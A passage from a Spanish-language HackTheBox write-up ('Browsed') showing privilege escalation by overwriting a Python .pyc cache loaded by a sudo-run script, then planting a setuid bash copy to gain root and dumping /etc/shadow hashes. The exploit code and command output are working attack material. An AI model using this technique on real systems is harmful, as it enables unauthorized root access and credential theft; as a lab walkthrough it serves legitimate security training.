    # magic number, bit field, modification date, source file size
    headers = readHeaders()

    magicNumber = headers[0]
    bitField = headers[1]
    timestamp = time.asctime(time.localtime(struct.unpack("<I", headers[2])[0]))
    sourceFileSize = struct.unpack("<I", headers[3])[0]
    
    print(f'[+] Original PYC File Information')
    print(f'[*] Magic number: {magicNumber}')
    print(f'[*] Bit field: {bitField}')
    print(f'[*] Source modification time: {timestamp}')
    print(f'[*] Source file size: {sourceFileSize}')

    codeObject = codeRCE()
    codeBytes = marshal.dumps(codeObject)
	
    newBytecode = magicNumber + bitField + headers[2] + headers[3] + codeBytes
	
    print(f'[+] Deleting Original PYC File ...')
    os.remove(ORIGINAL_PYC)

    print(f'[+] Writing new PYC File ...')

    with open(ORIGINAL_PYC, "wb") as f:
        f.write(newBytecode)
	
    h = readHeaders()	
    print(f'[*] Magic number: {h[0]}')
    print(f'[*] Bit field: {h[1]}')
    print(f'[*] Source modification time: {time.asctime(time.localtime(struct.unpack("<I", h[2])[0]))}')
    print(f'[*] Source file size: {struct.unpack("<I", h[3])[0]}')
    print(f'[+] Done!')


if __name__ == '__main__':
    print('[*] Modifying the bytecode ...')
    modifyBytecode()
    print('[*] Execute extension_tool.py.')

Para que el script funcione ejecutamos extension_tool.py esto crearia el archivo extension_utils.cpython-312.pyc.

1
2
3
4
5

larry@browsed:/opt/extensiontool$ sudo /opt/extensiontool/extension_tool.py --ext Timer
[+] Manifest is valid.
[-] Skipping version bumping
[-] Skipping packaging
larry@browsed:/opt/extensiontool$

Ejecutamos el exploit, creando un nuevo archivo pyc.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

larry@browsed:/dev/shm$ python3 exploit.py 
[*] Modifying the bytecode ...
[+] Original PYC File Information
[*] Magic number: b'\xcb\r\r\n'
[*] Bit field: b'\x00\x00\x00\x00'
[*] Source modification time: Sun Mar 23 10:56:19 2025
[*] Source file size: 1245
[+] Deleting Original PYC File ...
[+] Writing new PYC File ...
[*] Magic number: b'\xcb\r\r\n'
[*] Bit field: b'\x00\x00\x00\x00'
[*] Source modification time: Sun Mar 23 10:56:19 2025
[*] Source file size: 1245
[+] Done!
[*] Execute extension_tool.py.
larry@browsed:/dev/shm$

Nuevamente ejecutamos extension_tool.py donde observamos que el codigo se cargo y ejecuto.

1
2
3
4
5

larry@browsed:/opt/extensiontool$ sudo /opt/extensiontool/extension_tool.py --ext Timer
PWN!
larry@browsed:/opt/extensiontool$ cat /dev/shm/whoami.txt 
root
larry@browsed:/opt/extensiontool$

Shell

Modificamos el exploit para realizar una copia de bash con permisos suid.

1
2
3
4
5
6
7
8
9

def codeRCE():

    def validate_manifest():
        import os
        os.system("cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc")
        print("PWN!")
        exit(1)

    return validate_manifest.__code__

Tras la ejecucion, logramos acceder a una shell root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

larry@browsed:/opt/extensiontool$ sudo /opt/extensiontool/extension_tool.py --ext Timer
PWN!
larry@browsed:/opt/extensiontool$ ls -lah /usr/bin/sc
-rwsr-xr-x 1 root root 1.4M Feb  3 06:14 /usr/bin/sc
larry@browsed:/opt/extensiontool$ /usr/bin/sc -p
sc-5.2# whoami
root
sc-5.2# cat /root/root.txt
e426887d0f5baf1585b8fab534d464ab
sc-5.2#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

sc-5.2# cat /etc/shadow
root:$y$j9T$wXISIzb3EFHkpdXvsI01S.$7THiBdiDsTxmiImcIsYzzKyh3WxVeXd2F25m4xQGMD/:20317:0:99999:7:::
daemon:*:20305:0:99999:7:::
bin:*:20305:0:99999:7:::
sys:*:20305:0:99999:7:::
sync:*:20305:0:99999:7:::
games:*:20305:0:99999:7:::
man:*:20305:0:99999:7:::
lp:*:20305:0:99999:7:::
mail:*:20305:0:99999:7:::
news:*:20305:0:99999:7:::
uucp:*:20305:0:99999:7:::
proxy:*:20305:0:99999:7:::
www-data:*:20305:0:99999:7:::
backup:*:20305:0:99999:7:::
list:*:20305:0:99999:7:::
irc:*:20305:0:99999:7:::
_apt:*:20305:0:99999:7:::
nobody:*:20305:0:99999:7:::
systemd-network:!*:20305::::::
systemd-timesync:!*:20305::::::
messagebus:!:20305::::::
systemd-resolve:!*:20305::::::
pollinate:!:20305::::::
polkitd:!*:20305::::::
syslog:!:20305::::::
uuidd:!:20305::::::
tcpdump:!:20305::::::
tss:!:20305::::::
landscape:!:20305::::::
fwupd-refresh:!*:20305::::::
usbmux:!:20317::::::
sshd:!:20317::::::
larry:$y$j9T$7TMEcG9b0YPRMveUtoEgT/$VQx//iROmISMIDWdddYqhUGDezXhlM1ki0pnUij1rUB:20317:0:99999:7:::
git:!:20317::::::
mysql:!:20317::::::
_laurel:!:20451::::::
sc-5.2#
Share on
Dany Sucuc
WRITTEN BY
sckull

Read other posts

HackTheBox - Browsed